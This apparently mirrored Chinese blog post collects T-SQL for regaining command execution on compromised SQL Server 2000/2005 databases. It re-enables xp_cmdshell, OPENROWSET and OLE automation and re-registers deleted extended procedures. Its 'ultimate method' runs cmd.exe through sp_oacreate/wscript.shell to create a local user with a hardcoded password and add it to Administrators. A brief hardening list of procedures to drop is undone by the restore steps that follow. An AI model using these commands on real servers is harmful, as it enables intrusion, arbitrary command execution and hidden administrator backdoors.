zoukankan      html  css  js  c++  java
  • 突破SA,,xp_cmdshell恢复终极方法

    sql server 2005下开启xp_cmdshell的办法
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

    SQL2005开启'OPENROWSET'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

    SQL2005开启'sp_oacreate'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

    突破SA的各种困难

    常见情况恢复执行xp_cmdshell
    1 未能找到存储过程'master..xpcmdshell'.
    恢复方法:查询分离器连接后,
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:查询分离器连接后,
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕
    四.终极方法.
    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    查询分离器连接后,
    2000servser系统:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

    --------------
    xp_cmdshell新的恢复办法
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    -----------------------------

    删除扩展存储过过程xp_cmdshell的语句:
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复cmdshell的sql语句
    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    开启cmdshell的sql语句

    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    恢复xp_cmdshell
    exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    否则上传xplog7.0.dll
    exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

    堵上cmdshell的sql语句
    sp_dropextendedproc "xp_cmdshell
    ----------------
    删除sql危险存储:

    Drop PROCEDURE sp_makewebtask
    exec master..sp_dropextendedproc xp_cmdshell
    exec master..sp_dropextendedproc xp_dirtree
    exec master..sp_dropextendedproc xp_fileexist
    exec master..sp_dropextendedproc xp_terminate_process
    exec master..sp_dropextendedproc sp_oamethod
    exec master..sp_dropextendedproc sp_oacreate
    exec master..sp_dropextendedproc xp_regaddmultistring
    exec master..sp_dropextendedproc xp_regdeletekey
    exec master..sp_dropextendedproc xp_regdeletevalue
    exec master..sp_dropextendedproc xp_regenumkeys
    exec master..sp_dropextendedproc xp_regenumvalues
    exec master..sp_dropextendedproc sp_add_job
    exec master..sp_dropextendedproc sp_addtask
    exec master..sp_dropextendedproc xp_regread
    exec master..sp_dropextendedproc xp_regwrite
    exec master..sp_dropextendedproc xp_readwebtask
    exec master..sp_dropextendedproc xp_makewebtask
    exec master..sp_dropextendedproc xp_regremovemultistring
    exec master..sp_dropextendedproc sp_OACreate
    Drop PROCEDURE sp_addextendedproc

    /*不狐 附上恢复扩展存储过程的办法

    先恢复sp_addextendedproc,语句如下:

    SQL代码
    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO
    再恢复以上所有扩展存储过程

    SQL代码
    use master
    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
    exec sp_addextendedproc xp_dirtree,'xpstar.dll'
    exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
    exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
    exec sp_addextendedproc sp_OACreate,'odsole70.dll'
    exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
    exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
    exec sp_addextendedproc sp_OAStop,'odsole70.dll'
    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
    exec sp_addextendedproc xp_regread,'xpstar.dll'
    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
    exec sp_addextendedproc xp_regwrite,'xpstar.dll'
    exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
  • 相关阅读:
    Linux 从4.12内核版本开始移除了 tcp_tw_recycle 配置。 tcp_max_tw_buckets TIME-WAIT 稳定值
    https://www.cnblogs.com/wclwcw/p/7515515.html
    Builder 模式
    网络优化之net.ipv4.tcp_tw_recycle和tcp_tw_reuse参数
    13 | 实战:单机如何实现管理百万主机的心跳服务? https://time.geekbang.org/column/article/240656
    V2版的接口在V3版里面都能找到对应接口 数据结构
    。SLI,Service Level Indicator,服务等级指标,其实就是我们选择哪些指标来衡量我们的稳定性。而 SLO,Service Level Objective,服务等级目标,指的就是我们设定的稳定性目标,比如“几个 9”这样的目标。
    【自愈能力集】:基于原子化服务能力封装,目前已实现绕行开关、域名切换、服务隔离等多项服务能力,并在生产中使用。紧密结合故障场景,不断更新自愈能力,通过各个能力的有机组合,能力集已见雏形;
    阿里云弹性公网IP那些事 阿里云云栖号 6月1日 弹性公网IP是独立的公网IP资源,可以绑定到阿里云专有网络VPC类型的ECS、NAT网关、私网负载均衡SLB上,并可以动态解绑,实现公网IP和ECS、NAT网关、SLB的解耦,满足灵活管理的要求。阿里云弹性公网IP那些事 阿里云云栖号 6月1日 弹性络VPC类型的E
    Linux下nf_conntrack(最全面)_董明磊-CSDN博客_nf_conntrack https://blog.csdn.net/qq_35299863/article/details/79530732
  • 原文地址:https://www.cnblogs.com/zhuawang/p/1508746.html
Copyright © 2011-2022 走看看